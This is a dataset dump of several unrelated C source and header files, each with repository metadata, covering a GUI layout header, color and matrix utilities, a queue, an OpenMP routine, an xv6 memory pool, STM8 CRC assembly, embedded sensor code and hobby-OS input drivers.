void gui_panel_end(struct gui_panel_layout*, struct gui_panel*);
/* this function ends the panel layout build up process and updates the panel
*/
/*
* ==============================================================
*
* Stack
*
* ===============================================================
*/
struct gui_stack {
gui_size count;
/* number of panels inside the stack */
struct gui_panel *begin;
/* first panel inside the panel which will be drawn first */
struct gui_panel *end;
/* currently active panel which will be drawn last */
};
void gui_stack_clear(struct gui_stack*);
/* this function clears and reset the stack back to an empty state */
void gui_stack_push(struct gui_stack*, struct gui_panel*);
/* this function add a panel into the stack if the panel is not already inside
* the stack */
void gui_stack_pop(struct gui_stack*, struct gui_panel*);
/* this function removes a panel from the stack */
#define gui_foreach_panel(i, s) for (i = (s)->begin; i != NULL; i = (i)->next)
/* iterates over each panel inside the stack */
/*
* ==============================================================
*
* Layout
*
* ===============================================================
*/
/*
-----------------------------
| Top |
-----------------------------
| | | |
| Left | Center | Right |
| | | |
-----------------------------
| Bottom |
-----------------------------
*/
enum gui_layout_slot_index {
GUI_SLOT_TOP,
GUI_SLOT_BOTTOM,
GUI_SLOT_LEFT,
GUI_SLOT_CENTER,
GUI_SLOT_RIGHT,
GUI_SLOT_MAX
};
enum gui_layout_format {
GUI_LAYOUT_HORIZONTAL,
/* panels in slots are added left to right */
GUI_LAYOUT_VERTICAL
/* panels in slots are added top to bottom */
};
struct gui_layout_slot {
gui_size capacity;
/* number of panels inside the slot */
gui_float value;
/* temporary storage for the layout build up process */
struct gui_vec2 ratio;
/* horizontal and vertical window ratio */
struct gui_vec2 offset;
/* position of the slot in the window */
enum gui_layout_format format;
/* panel filling layout */
};
enum gui_layout_state {
GUI_LAYOUT_DEACTIVATE,
GUI_LAYOUT_ACTIVATE
};
enum gui_layout_flags {
GUI_LAYOUT_INACTIVE = 0x01,
/* tiled layout is inactive and cannot be updated by the user */
GUI_LAYOUT_SCALEABLE = 0x02
/* tiled layout ratio can be changed by the user */
};
struct gui_layout {
gui_float scaler_width;
/* width of the scaling line between slots */
gui_size width, height;
/* size of the layout inside the window */
gui_flags flags;
/* flag indicating if the layout is from the user modifyable */
struct gui_stack stack;
/* panel stack of all panels inside the layout */
struct gui_layout_slot slots[GUI_SLOT_MAX];
/* each slot inside the panel layout */
};
void gui_layout_begin(struct gui_layout*, gui_size width, gui_size height, gui_flags);
void gui_layout_slot(struct gui_layout*, enum gui_layout_slot_index,
gui_float ratio, enum gui_layout_format, gui_size panel_count);
void gui_layout_end(struct gui_layout*);
void gui_layout_update_size(struct gui_layout*, gui_size width, gui_size height);
void gui_layout_update_state(struct gui_layout*, gui_uint state);
#ifdef __cplusplus
}
#endif
#endif /* GUI_H_ */
| 2.0625 | 2 |
2024-11-18T18:36:21.474353+00:00 | 2019-10-14T16:52:49 | a7b93a58598a7bdb7abed6f7c05a098a49b908df | {
"blob_id": "a7b93a58598a7bdb7abed6f7c05a098a49b908df",
"branch_name": "refs/heads/master",
"committer_date": "2019-10-14T16:52:49",
"content_id": "a8ea255a961c7acdad12ff64247cd38b20da1411",
"detected_licenses": [
"MIT"
],
"directory_id": "1a4f6e2a67d677ddd118359140766df734b54c02",
"extension": "h",
"filename": "color.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 211355815,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1359,
"license": "MIT",
"license_type": "permissive",
"path": "/inc/color.h",
"provenance": "stackv2-0021.json.gz:99229",
"repo_name": "KatrienElise/test_rtv1",
"revision_date": "2019-10-14T16:52:49",
"revision_id": "5e855db6e49bb82216b9612f6917fcac973db8b9",
"snapshot_id": "0f4b664d7e1954cc0fafbe3f6c86b28e82f98c94",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/KatrienElise/test_rtv1/5e855db6e49bb82216b9612f6917fcac973db8b9/inc/color.h",
"visit_date": "2022-02-24T19:19:40.744603"
} | stackv2 | /* ************************************************************************** */
/* */
/* :::::::: */
/* color.h :+: :+: */
/* +:+ */
/* By: nmartins <[email protected]> +#+ */
/* +#+ */
/* Created: 2019/09/23 19:16:57 by nmartins #+# #+# */
/* Updated: 2019/09/23 19:22:18 by nmartins ######## odam.nl */
/* */
/* ************************************************************************** */
#ifndef COLOR_H
# define COLOR_H
typedef struct s_rgb
{
int r;
int g;
int b;
} t_rgb;
typedef struct s_hsl
{
double h;
double s;
double l;
} t_hsl;
typedef struct s_gradient
{
int start;
int end;
} t_gradient;
/*
** Convert RGB color to int32 color
*/
int gfx_color(int r, int g, int b, int a);
t_rgb gfx_hsl2rgb(t_hsl hsl);
t_hsl gfx_rgb2hsl(t_rgb rgb);
int gfx_color_from_rgb(t_rgb rgb);
t_rgb rgb_clamp(const t_rgb rgb);
#endif
| 2.21875 | 2 |
2024-11-18T18:36:21.704595+00:00 | 2021-09-29T04:28:26 | f0a3175afd4b1c88717a758a42232d1bae955332 | {
"blob_id": "f0a3175afd4b1c88717a758a42232d1bae955332",
"branch_name": "refs/heads/main",
"committer_date": "2021-09-29T04:28:26",
"content_id": "e8929793f02bcc56a7be4c6ba7a785fe77765b0b",
"detected_licenses": [
"MIT"
],
"directory_id": "4223adaf667d3f76c8bcfb7b66638f7c492f2778",
"extension": "c",
"filename": "main.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 411528146,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 861,
"license": "MIT",
"license_type": "permissive",
"path": "/USER/main.c",
"provenance": "stackv2-0021.json.gz:99358",
"repo_name": "dbwaax/STM32F103C8T6-CCS811-",
"revision_date": "2021-09-29T04:28:26",
"revision_id": "e0d55b9ed0dbe4bc7cf175f3de746ea6e992f167",
"snapshot_id": "1381d05fa4143636a7aa0febe157117cb269d0f2",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/dbwaax/STM32F103C8T6-CCS811-/e0d55b9ed0dbe4bc7cf175f3de746ea6e992f167/USER/main.c",
"visit_date": "2023-08-23T21:29:19.594894"
} | stackv2 | #include "sys.h"
#include "delay.h"
#include "usart.h"
#include "stdio.h"
#include "CCS811.h"
extern ccs811_measurement_t CCS;
int main(void)
{
u8 st1 = 0;
delay_init();
Uart1_init(115200);
CCS811Init();
app_Start();
delay_ms(150);
while(1)
{
st1 = CCS811_ReadOneByte(0x00);
switch(st1)
{
case 0x90:
{
setMode(MODE1);
}break;
case 0x98:
{
getData();
delay_ms(10);
if(CCS.eco2<10000)
{
printf("co2 = %d tvoc = %d\r\n",CCS.eco2,CCS.tvoc);
}
delay_ms(300);
}break;
case 0x10:
{
app_Start();
printf("CCS811 Tries to enter App Mode!\r\n");
delay_ms(150);
}
case 0x99:
{
st1 = CCS811_ReadOneByte(0xE0);
printf("ERROR = %d\r\n",st1);
}
default:
{
reset();
printf("CCS811 Tries to reset\r\n");
delay_ms(150);
}break;
}
delay_ms(1000);
}
}
| 2.28125 | 2 |
2024-11-18T18:37:42.680264+00:00 | 2021-09-25T20:27:18 | c55e551f6164168bcc825cbfb22990b1c0de92f4 | {
"blob_id": "c55e551f6164168bcc825cbfb22990b1c0de92f4",
"branch_name": "refs/heads/master",
"committer_date": "2021-09-25T20:27:18",
"content_id": "44225da800b0d18ee0e40d9e435c433e89b13b00",
"detected_licenses": [
"MIT"
],
"directory_id": "476edbbee45389301555d591d4d2414a796d516b",
"extension": "h",
"filename": "utils.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 380399601,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1730,
"license": "MIT",
"license_type": "permissive",
"path": "/src/utils.h",
"provenance": "stackv2-0021.json.gz:100254",
"repo_name": "tiagomelojuca/libclifs",
"revision_date": "2021-09-25T20:27:18",
"revision_id": "ced6c8c82fb02c785f5aa12cfc71b8b25c7edb5a",
"snapshot_id": "f5c2d4716689226b1df480aaa1cacf0273a7a17f",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/tiagomelojuca/libclifs/ced6c8c82fb02c785f5aa12cfc71b8b25c7edb5a/src/utils.h",
"visit_date": "2023-08-30T23:11:10.964669"
} | stackv2 | // --------------------------------------------------------------------------------
// LIBCLIFS - TIAGO MELO JUCA (2021) |
// --------------------------------------------------------------------------------
// This library is for studying purposes only - please don't take it seriously :)
// You'll see a lot of comments here. Yep, I know Clean Code, but, as I said, it's
// just for learning; the purpose is a reference for myself, nothing more
// --------------------------------------------------------------------------------
#ifndef UTILS_H
#define UTILS_H
#include <stdbool.h>
// --------------------------------------------------------------------------------
#define MTX_SIZE 12
// --------------------------------------------------------------------------------
void _fillMatrixDefaultValue(double _matrix[MTX_SIZE][MTX_SIZE], double _initVal);
void _fillMatrixNull(double _matrix[MTX_SIZE][MTX_SIZE]);
void _fillDynIntMatrix(int** _matrix, int _nR, int _nC, int _initVal);
void _fillDynDoubleMatrix(double** _matrix, int _nR, int _nC, double _initVal);
void _copyDynDoubleMatrix(double** _matrix, double** _other, int _nR, int _nC);
void _multiplyDynMatrix(double** _matrix, double** _other1, double** _other2,
int _rOther1, int _cOther1, int _rOther2, int _cOther2);
double _getAbsValue(double _val);
void _lupDecompose(double **_matrix, int _matrixDimension, int *_vecPermut);
void _lupInvert(double **_matrix, double **_other,
int *_vecPermut, int _matrixDimension);
double _calcDeterminant(double **_matrix, int *_vecPermut, int _matrixDimension);
bool _isMatrixSingular(double** _matrix, int _dimension);
#endif // UTILS_H
| 2.296875 | 2 |
2024-11-18T18:37:43.080283+00:00 | 2020-12-05T22:06:54 | bd91030e6deb588fb325ddf51c6b67b5c4b04a72 | {
"blob_id": "bd91030e6deb588fb325ddf51c6b67b5c4b04a72",
"branch_name": "refs/heads/master",
"committer_date": "2020-12-05T22:06:54",
"content_id": "1902b44e726803cca7c1d7ae88436e181fecbd5a",
"detected_licenses": [
"MIT"
],
"directory_id": "0eb9b3c073a28e6a94c46ce1c136df4c776ee29a",
"extension": "c",
"filename": "Queue.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 318893083,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2893,
"license": "MIT",
"license_type": "permissive",
"path": "/Assignment_4_Problem_2/Queue.c",
"provenance": "stackv2-0021.json.gz:100511",
"repo_name": "nmm131/data-structures-in-c",
"revision_date": "2020-12-05T22:06:54",
"revision_id": "831f5706d0f35fafe7334b8d2da8665f5a83d500",
"snapshot_id": "e782a83d991e561c4c78472d349b35c5b3f89699",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/nmm131/data-structures-in-c/831f5706d0f35fafe7334b8d2da8665f5a83d500/Assignment_4_Problem_2/Queue.c",
"visit_date": "2023-01-29T04:44:26.851910"
} | stackv2 | //
// Queue.c
//
// stdlib provides malloc and free
#include <stdlib.h>
// stdbool defines bool
#include <stdbool.h>
// asserts are used for checking that the queue exists
#include <assert.h>
// calls the queue supports are included for consistency checking
#include "Queue.h"
// the queue uses a linked list to implement a queue behavior (FIFO)
// enqueue and pop will be done from the list front.
#include "LinkedList.h"
/*
initQueue() allocates a queue structure and initializes its contents.
This consists of creating the underlying linked list and declaring the
queue to be empty
*/
Queue initQueue()
{
// allocate a queue structure and abort if the allocation failed
Queue Q = (Queue) malloc(sizeof(QueueInfo));
assert (Q!= NULL);
AllocationCount++;
// allocate and initialize the underlying linked list
Q->LL = LL_Init();
// we are empty until an item is pushed
Q->empty = true;
// return the queue to the caller
return Q;
}
/*
peek() will return the UserData at the front of the queue, but leave the data
on the queue by calling the linked list GetFront() with a RETAIN option
*/
UserData peek(Queue Q)
{
assert((Q != NULL) && (Q->empty != true));
return LL_GetFront(Q->LL, RETAIN_NODE);
}
/*
empty() returns the boolean indicating the queue is currently empty
*/
bool empty(Queue Q)
{
assert(Q != NULL);
return Q->empty;
}
/*
deleteQueue() calls the linked list delete to free up all of its nodes and, on return,
frees up the queue itself. it returns NULL to indicate that there is no longer a
queue.
*/
Queue deleteQueue(Queue Q)
{
//check if queue is not NULL
assert (Q != NULL);
//free up all linked list nodes and delete linked list
LL_Delete(Q->LL);
//free up the queue
free (Q);
//decrease AllocationCount to reflect freed up queue
AllocationCount--;
//return NULL to reflect the queue no longer exists
return NULL;
}
/* enqueue() calls the linked list to place the UserData at the end of
the linked list. Since an enqueue is being done, the queue is no longer empty
*/
void enqueue (Queue Q, UserData D)
{
//check if queue is not NULL
assert (Q != NULL);
//place UserData at end of the linked list
LL_AddAtEnd(Q->LL, D);
//set queue to not empty
Q->empty = false;
}
/*
dequeue() will fetch the UserData at the front of the linked list and return it to
caller. It updates the queue empty status by seeing if the linked list was
holding only a single item before the removal from the linked list occurs.
*/
UserData dequeue (Queue Q)
{
//check if queue is not NULL
assert (Q!= NULL);
//set queue's empty boolean based on if queue had 1 item before removal or not
Q->empty = LL_Length(Q->LL) == 1 ? true : false;
//return UserData at front of the linked list and delete it
return LL_GetFront(Q->LL, DELETE_NODE);
}
| 3.359375 | 3 |
2024-11-18T18:37:43.257246+00:00 | 2021-03-23T14:43:29 | 2f08e684d0ce217fcf587eccb7785708068c1c43 | {
"blob_id": "2f08e684d0ce217fcf587eccb7785708068c1c43",
"branch_name": "refs/heads/main",
"committer_date": "2021-03-23T14:43:29",
"content_id": "354f580a4c68f1e56cf790fe209ce429ebfbda0b",
"detected_licenses": [
"MIT"
],
"directory_id": "1f2efd445d88a14f48856051cea7cb1ff3c28b20",
"extension": "c",
"filename": "mxv_col_omp.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 350743435,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 873,
"license": "MIT",
"license_type": "permissive",
"path": "/lab2/mxv/mxv_col_omp.c",
"provenance": "stackv2-0021.json.gz:100641",
"repo_name": "mihaimusat/APP-labs-2021",
"revision_date": "2021-03-23T14:43:29",
"revision_id": "c811b03b0e269a5f6ac7bffd7334799e098bf70b",
"snapshot_id": "9e2d1b11e4d7ca3b6ce08ff07f78999fd5145410",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/mihaimusat/APP-labs-2021/c811b03b0e269a5f6ac7bffd7334799e098bf70b/lab2/mxv/mxv_col_omp.c",
"visit_date": "2023-03-25T19:33:33.158062"
} | stackv2 | /*
!-----------------------------------------------------------------------
! Author: Ruud van der Pas, Sun Microsystems
!
! Copyright: Sun Microsystems, All rights reserved, Un-authorized
! distribution not permitted
!-----------------------------------------------------------------------
*/
#include "labs.h"
#ifdef _OPENMP
#include <omp.h>
#endif
void mxv_col(int m, int n, double *a, double *b, double *c)
{
int i, j;
// threshold_col = 375;
# pragma omp parallel if (m > threshold_col) default (none) \
private (i,j) shared(a, b, c, n, m) schedule(guided)
{
#pragma omp for schedule(guided)
for (i=0; i<m; i++)
a[i] = b[i*n]*c[0];
for (j=1; j<n; j++)
{
#pragma omp for schedule(guided)
for (i=0; i<m; i++)
a[i] += b[i*n+j]*c[j];
}
} /* -- End of parallel region --*/
}
| 2.125 | 2 |
2024-11-18T18:37:43.335034+00:00 | 2018-06-24T01:18:30 | a13dbfc60688f93d74317b11f322a7d51838f047 | {
"blob_id": "a13dbfc60688f93d74317b11f322a7d51838f047",
"branch_name": "refs/heads/master",
"committer_date": "2018-06-24T01:18:30",
"content_id": "883945c3f5595677d5b036447027fccefb03be91",
"detected_licenses": [
"Unlicense"
],
"directory_id": "2e10a55bcc27421c2ce00bac67d62ca3ae7a43be",
"extension": "h",
"filename": "gcommon.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 138444313,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1600,
"license": "Unlicense",
"license_type": "permissive",
"path": "/gcommon/source/gcommon.h",
"provenance": "stackv2-0021.json.gz:100769",
"repo_name": "DavidCoenFish/ancient-code-0",
"revision_date": "2018-06-24T01:18:30",
"revision_id": "243fb47b9302a77f9b9392b6e3f90bba2ef3c228",
"snapshot_id": "2f72b8e20406b9877daa032f9e9fb8343da62340",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/DavidCoenFish/ancient-code-0/243fb47b9302a77f9b9392b6e3f90bba2ef3c228/gcommon/source/gcommon.h",
"visit_date": "2020-03-21T10:18:30.613722"
} | stackv2 | //
// gcommon.h
// GCommon
//
// Created by David Coen on 2011 05 29
// Copyright Pleasure seeking morons 2011. All rights reserved.
//
#ifndef _gcommon_H_
#define _gcommon_H_
///////////////////////////////////////////////////////
//typedef
typedef void GVOID; //excessive, not really a type?
typedef bool GBOOL;
typedef char GCHAR;
typedef unsigned char GU8;
typedef signed char GS8;
typedef unsigned short GU16;
typedef signed short GS16;
typedef unsigned int GU32;
typedef signed int GS32;
typedef int GINT; //threre are time you just want the native int
typedef float GR32;
typedef double GR64;
typedef float GFLOAT; //threre are time you just want the native floating point and don't care about matching memory byte count with file contents
///////////////////////////////////////////////////////
//defines
#ifndef GTRUE
#define GTRUE true
#endif
#ifndef GFALSE
#define GFALSE false
#endif
#ifndef GNULL
#define GNULL 0
#endif
#define GCOMMON_INVALID_INDEX -1
//translate input token into a string
#define GCOMMON_TOKEN(INPUT) #INPUT
#define GCOMMON_TOKEN_TOKEN(INPUT_ONE, INPUT_TWO) #INPUT_ONE#INPUT_TWO
#define GCOMMON_TOKEN_TOKEN_TOKEN(INPUT_ONE, INPUT_TWO, INPUT_THREE) (#INPUT_ONE#INPUT_TWO#INPUT_THREE)
#define GCOMMON_UNUSED_VAR(VAR)
//common way of changing index to flag, no negative index
#define GCOMMON_INDEX_TO_FLAG(INDEX) (1 << (INDEX))
#define GCOMMON_ARRAY_SIZE(ARRAY) ( sizeof(ARRAY) / sizeof(ARRAY[0]))
GVOID GCommonLog(const GCHAR* const in_message);
#define GCOMMON_LOG(IN_MESSAGE) GCommonLog(IN_MESSAGE);
#endif //#ifndef _gcommon_H_
| 2.015625 | 2 |
2024-11-18T18:37:43.430155+00:00 | 2017-06-22T15:41:03 | ff2fbcb06b34392a122b52e7fef71427dd7a27c5 | {
"blob_id": "ff2fbcb06b34392a122b52e7fef71427dd7a27c5",
"branch_name": "refs/heads/master",
"committer_date": "2017-06-22T15:41:03",
"content_id": "5f7a68ee4b828475d1f578e59dd1ca6f8c8955c5",
"detected_licenses": [
"MIT"
],
"directory_id": "22cc20c6001c921b2a9476e41b41f1362d48cfc8",
"extension": "c",
"filename": "mem_pool.c",
"fork_events_count": 0,
"gha_created_at": "2017-06-21T10:26:00",
"gha_event_created_at": "2017-06-21T10:26:00",
"gha_language": null,
"gha_license_id": null,
"github_id": 94992207,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 3439,
"license": "MIT",
"license_type": "permissive",
"path": "/kernel/mem_pool.c",
"provenance": "stackv2-0021.json.gz:100897",
"repo_name": "matinjugou/xv6-improved",
"revision_date": "2017-06-22T15:41:03",
"revision_id": "732cea70a18e3d768e7515cf80cd2d180e3ded5f",
"snapshot_id": "0504a7675466e922e258fa08d4b5a64143fcce6e",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/matinjugou/xv6-improved/732cea70a18e3d768e7515cf80cd2d180e3ded5f/kernel/mem_pool.c",
"visit_date": "2021-01-11T14:10:30.501811"
} | stackv2 | #include "mem_pool.h"
#include "edefs.h"
#include "xv6/defs.h"
#define BLOCK_POINTER_NUMBER 4
#define BLOCK_BYTE_NUMBER 1
#define SIZE_OF_BLOCK (sizeof(struct memblock))
void pool_init(struct mem_pool *pool, byte *m, uint s)
{
acquire(&pool->lock);
pool->mem = m;
pool->size = s;
memlist firstfree = (memlist)m;
firstfree->start = m + SIZE_OF_BLOCK;
firstfree->end = m + s;
firstfree->nextblock = 0;
firstfree->prevblock = 0;
firstfree->status = 0;
pool->list = firstfree;
release(&pool->lock);
}
void* pool_alloc(struct mem_pool *pool, int size)
{
acquire(&pool->lock);
struct memblock *block = pool->list;
void* allocmem = 0;
while (block != 0) {
if (block->status == 0) {
if (block->end - block->start > size) {
if((block->end - block->start - size) > (2 * SIZE_OF_BLOCK)) {
block->status = 1;
struct memblock *newblock = (struct memblock*)(block->start + size);
newblock->status = 0;
newblock->start = block->start + size + SIZE_OF_BLOCK;
newblock->end = block->end;
block->end = block->start + size;
if (block->nextblock != 0) {
newblock->prevblock = block;
newblock->nextblock = block->nextblock;
block->nextblock->prevblock = newblock;
block->nextblock = newblock;
} else {
newblock->prevblock = block;
newblock->nextblock = 0;
block->nextblock = newblock;
}
allocmem = block->start;
break;
} else {
block->status = 1;
allocmem = block->start;
break;
}
}
}
block = block->nextblock;
}
release(&pool->lock);
return allocmem;
}
int pool_free(struct mem_pool *pool, void *p)
{
acquire(&pool->lock);
if (p >= pool->mem + SIZE_OF_BLOCK && p < (pool->mem + pool->size)) {
struct memblock *block = (struct memblock*)(p - SIZE_OF_BLOCK);
if (block->start == p && block->status == 1) {
block->status = 0;
if (block->nextblock != 0 && block->nextblock->status == 0) {
if (block->nextblock->nextblock == 0) {
block->end = block->nextblock->end;
block->nextblock = 0;
} else {
block->end = block->nextblock->end;
block->nextblock->nextblock->prevblock = block;
block->nextblock = block->nextblock->nextblock;
}
}
if (block->prevblock != 0 && block->prevblock->status == 0) {
if (block->nextblock == 0) {
block->prevblock->end = block->end;
block->prevblock->nextblock = 0;
} else {
block->prevblock->end = block->end;
block->nextblock->prevblock = block->prevblock;
block->prevblock->nextblock = block->nextblock;
}
}
release(&pool->lock);
return 0;
}
}
release(&pool->lock);
return 1;
}
| 2.640625 | 3 |
2024-11-18T18:38:24.346083+00:00 | 2021-03-14T20:29:54 | b7d83c0dc6027493e29250804a6d8ebe5a0b36c5 | {
"blob_id": "b7d83c0dc6027493e29250804a6d8ebe5a0b36c5",
"branch_name": "refs/heads/main",
"committer_date": "2021-03-14T20:29:54",
"content_id": "5a68ce8625eb2d40150f40094c6adb1b5251464f",
"detected_licenses": [
"MIT"
],
"directory_id": "ec53de34881276a7bd5348f1f550483347cd5db4",
"extension": "c",
"filename": "crc8_j1850.c",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 345367411,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2892,
"license": "MIT",
"license_type": "permissive",
"path": "/lib/STM8_headers/examples/calculate_CRC/crc_asm/crc8_j1850.c",
"provenance": "stackv2-0021.json.gz:101281",
"repo_name": "maxgerhardt/stm8-headers-pio",
"revision_date": "2021-03-14T20:29:54",
"revision_id": "25e3552560df30445cdd1d8dee9cc95454ca92a8",
"snapshot_id": "58c63ea7fdb591a23845acac89bf7cc863c5128a",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/maxgerhardt/stm8-headers-pio/25e3552560df30445cdd1d8dee9cc95454ca92a8/lib/STM8_headers/examples/calculate_CRC/crc_asm/crc8_j1850.c",
"visit_date": "2023-04-04T23:36:23.861835"
} | stackv2 | /*******************************************************************************
*
* crc8_j1850.c - CRC8-SAE-J1850 implementation
*
* Copyright (c) 2020 Basil Hussain
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
******************************************************************************/
#include <stddef.h>
#include <stdint.h>
#include "../crc.h"
#ifdef __SDCC_MODEL_LARGE
#define ASM_ARGS_SP_OFFSET 4
#define ASM_RETURN retf
#else
#define ASM_ARGS_SP_OFFSET 3
#define ASM_RETURN ret
#endif
// CRC8-SAE-J1850 (aka OBD)
// Polynomial: x^8 + x^4 + x^3 + x^2 + 1 (0x1D, normal)
// Initial value: 0xFF
// XOR out: 0xFF
uint8_t crc8_j1850_update(uint8_t crc, uint8_t data) __naked {
// Avoid compiler warnings for unreferenced args.
(void)crc;
(void)data;
__asm
; Load CRC variable from stack into A register for further work.
ld a, (ASM_ARGS_SP_OFFSET+0, sp)
; XOR the CRC with data byte.
xor a, (ASM_ARGS_SP_OFFSET+1, sp)
.macro crc8_j1850_update_shift_xor skip_lbl
; Shift CRC value left by one bit.
sll a
; Jump if most-significant bit of CRC is now zero.
jrnc skip_lbl
; XOR the CRC value with the polynomial value.
xor a, #0x1D
skip_lbl:
.endm
#ifdef ASM_UNROLL_LOOP
crc8_j1850_update_shift_xor 0001$
crc8_j1850_update_shift_xor 0002$
crc8_j1850_update_shift_xor 0003$
crc8_j1850_update_shift_xor 0004$
crc8_j1850_update_shift_xor 0005$
crc8_j1850_update_shift_xor 0006$
crc8_j1850_update_shift_xor 0007$
crc8_j1850_update_shift_xor 0008$
#else
; Initialise counter to loop 8 times, once for each bit of data byte.
ldw x, #8
0001$:
crc8_j1850_update_shift_xor 0002$
; Decrement counter and loop around if it is not zero.
decw x
jrne 0001$
#endif
; The A reg now contains updated CRC value, so leave it there as
; function return value.
ASM_RETURN
__endasm;
}
| 2.328125 | 2 |
2024-11-18T18:38:27.745715+00:00 | 2020-01-19T09:46:46 | 5cf36ee4410339068300688bd7d8474398446665 | {
"blob_id": "5cf36ee4410339068300688bd7d8474398446665",
"branch_name": "refs/heads/master",
"committer_date": "2020-01-19T09:46:46",
"content_id": "f68d62b7b02fa696e03f5d1bd3c556be10a31c8c",
"detected_licenses": [
"MIT"
],
"directory_id": "214984d5aa91cf6662be44ce6c5849cdfcc67c35",
"extension": "c",
"filename": "input_devices.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 231922004,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2376,
"license": "MIT",
"license_type": "permissive",
"path": "/day_10/input_devices.c",
"provenance": "stackv2-0021.json.gz:101409",
"repo_name": "macrat/30days-os",
"revision_date": "2020-01-19T09:46:46",
"revision_id": "58514889afd889dbd9d3f95d35592d2f898e4aaa",
"snapshot_id": "95a43b5491dec56fe176a208a18ed3080b4eaec7",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/macrat/30days-os/58514889afd889dbd9d3f95d35592d2f898e4aaa/day_10/input_devices.c",
"visit_date": "2020-12-04T22:29:11.296479"
} | stackv2 | #include "hello.h"
#include "graphics.h"
#include "math.h"
#include "hankaku.h"
#include "input_devices.h"
typedef struct MouseDecoder {
uint8_t buf[3];
int8_t index;
mouse_state_t decoded;
} mouse_decoder_t;
static mouse_decoder_t _mouse_decoder = {0};
static void wait_keyboard_controller_ready() {
while (io_in8(PORT_KEYSTA) & KEYSTA_SEND_NOTREADY);
}
void init_keyboard() {
wait_keyboard_controller_ready();
io_out8(PORT_KEYCMD, KEYCMD_WRITE_MODE);
wait_keyboard_controller_ready();
io_out8(PORT_KEYDAT, KBC_MODE);
}
void init_mouse() {
wait_keyboard_controller_ready();
io_out8(PORT_KEYCMD, KEYCMD_SENDTO_MOUSE);
wait_keyboard_controller_ready();
io_out8(PORT_KEYDAT, MOUSECMD_ENABLE);
_mouse_decoder.index = -1;
_mouse_decoder.decoded.x = get_screen_width() / 2;
_mouse_decoder.decoded.y = get_screen_height() / 2;
}
void init_input_devices() {
init_keyboard();
init_mouse();
}
void on_raw_keyboard(const event_t* ev) {
event_t ev2 = {
.type = EVENT_KEYBOARD,
.data = ev->data, // TODO: decode keycode here
};
push_event(ev2);
}
static void decode_mouse() {
_mouse_decoder.decoded.buttons = _mouse_decoder.buf[0] & 0x07;
int32_t mx = _mouse_decoder.buf[1];
int32_t my = _mouse_decoder.buf[2];
if (_mouse_decoder.buf[0] & 0x10) {
mx |= 0xffffff00;
}
if (_mouse_decoder.buf[0] & 0x20) {
my |= 0xffffff00;
}
_mouse_decoder.decoded.x = max(0, min(get_screen_width(), (int32_t)(_mouse_decoder.decoded.x + mx)));
_mouse_decoder.decoded.y = max(0, min(get_screen_height(), (int32_t)(_mouse_decoder.decoded.y - my)));
}
void on_raw_mouse(const event_t* ev) {
if (_mouse_decoder.index < 0) {
if (ev->data == 0xfa) {
_mouse_decoder.index = 0;
}
return;
}
if (_mouse_decoder.index == 0 && (ev->data & 0xc8) != 0x08) return; // drop invalid data
_mouse_decoder.buf[_mouse_decoder.index] = ev->data;
_mouse_decoder.index++;
if (_mouse_decoder.index >= 3) {
decode_mouse();
_mouse_decoder.index = 0;
event_t ev = {
.type = EVENT_MOUSE,
.mouse = _mouse_decoder.decoded,
};
push_event(ev);
}
}
const mouse_state_t* get_mouse_state() {
return &_mouse_decoder.decoded;
}
| 2.5 | 2 |
